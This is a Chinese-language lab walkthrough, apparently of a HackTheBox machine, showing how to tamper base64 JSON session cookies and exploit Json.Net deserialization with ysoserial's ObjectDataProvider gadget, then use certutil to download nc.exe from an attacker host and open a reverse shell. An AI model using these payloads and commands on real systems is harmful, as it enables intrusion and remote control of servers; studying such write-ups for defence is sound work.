实战 | JSON反序列化到RCE

admin 2023年2月6日22:30:54评论62 views字数 1832阅读6分6秒阅读模式

介绍

序列化是将某些对象转换为可以恢复的数据格式的过程。
反序列化是从某种格式获取结构化数据,并将其重建为对象。如今用于序列化数据的最流行的数据格式是 JSON。
反序列化漏洞是一种在反序列化您发送的数据的过程中能够注入代码并在受害机器中执行的漏洞,最典型的是在使用 Node JS 的应用程序中,但在这种情况下是在 JSON 中。

漏洞检测
要检测此漏洞,您首先需要以 JSON 格式向受害者网站发送数据。测试网站中以 JSON 格式发送的数据存在于网站使用的会话 Cookie 中。查看会话或 cookie,可以使用 Firefox 和F12 -> Storage,可以看到浏览器会话中拥有的所有会话和 cookie。但是我建议使用 Burpsuite,使用 Burpsuite 代理停止网络请求时,您可以看到您的 cookie 以 base64 编码传输:

实战 | JSON反序列化到RCE
解码后
实战 | JSON反序列化到RCE
你可以使用此命令
echo "base64encodedtext" | base64-d | jq
实战 | JSON反序列化到RCE
想知道是否存在json反序列化攻击,最重要的是看看改变一个值输出是否也会改变或给出错误,所以我们将尝试改变另一个用户名 s12

echo '{"Id":1,"UserName":"s12","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}' | base64 -w 0

结果:

实战 | JSON反序列化到RCE

实战 | JSON反序列化到RCE

本次漏洞检测完毕,该页面存在漏洞。
REC执行命令
有时你需要知道应用程序背后运行的banner,最好的选择是强制错误用来查看来自服务器端的响应。在 base64中创建了这个基本字符串:

实战 | JSON反序列化到RCE

我发送到服务器并收到此响应:

实战 | JSON反序列化到RCE

无法反序列化 Json.Net 对象”。我不需要更多……足够了这些。。


制作恶意代码

要执行此步骤,我们将需要一台 Windows 机器,并且只能访问互联网。一旦我们有了 Windows 机器,我们就从这个存储库下载 Releases zip文件:提取所有 zip 文件后,您可以看到一个名为 Releases 的文件夹,单击内部并查看是否有一个名为 ysoserial.exe 的 exe,如果它在这里,则一切正常。打开CMD -> 使用cd命令进入ysoserial.exe文件夹-> 执行exe查看帮助菜单实战 | JSON反序列化到RCE

为此,您需要关闭 Windows Defender。如果您在帮助菜单中看到小工具部分,那就完美了,您可以看到

实战 | JSON反序列化到RCE

前面当我们强制错误时它试图反序列化 Json.net 中的数据,在这种情况下我们创建恶意代码:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping IP_KALI"
结果
实战 | JSON反序列化到RCE好的,这是代码,但此服务器在 base64 中工作以执行此操作,我将命令修改为:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping IP" -o base64
结果实战 | JSON反序列化到RCE
我执行此命令在我的 Kali 机器中监听 ping 
实战 | JSON反序列化到RCE替换为ping的payload
实战 | JSON反序列化到RCE
执行ping
实战 | JSON反序列化到RCE
反弹shell
Kali: 
python3 -m http.server 80ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil.exe -f -urlcache -split http://IP_KALI/nc.exe C:Windows
SysWOW64TasksMicrosoftWindowsPLASystem nc .exe " -o base64 
结果
实战 | JSON反序列化到RCE
执行
实战 | JSON反序列化到RCE
最后一步是使用 nc.exe 获取反向 shell
Kali: 
rlwrap nc -lvnp 1212
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil.exe -f -urlcache -split http://10.10.14.12/nc.exe C:WindowsSysWOW64TasksMicrosoftWindowsPLASystem nc.exe" -o base64
结果
实战 | JSON反序列化到RCE

结论

写完这篇文章告诉你,掌握这种攻击很重要,不仅要利用JSON反序列化,还要了解反序列化攻击的工作原理,还有很多,如果你想了解更多,可以加安全帮学习群。

实战 | JSON反序列化到RCE

QQ学习群

实战 | JSON反序列化到RCE

微信群

实战 | JSON反序列化到RCE

实战 | JSON反序列化到RCE

想成为Kevin Mitnick一样的

黑客教父?不存在的

想成为渗透之神?醒醒吧

看了无数入门视频,依然搞不到Shell

不妨看看《安全帮Live》

实战 | JSON反序列化到RCE


原文始发于微信公众号(安全帮Live):实战 | JSON反序列化到RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月6日22:30:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战 | JSON反序列化到RCEhttp://cn-sec.com/archives/1539608.html

发表评论

匿名网友 填写信息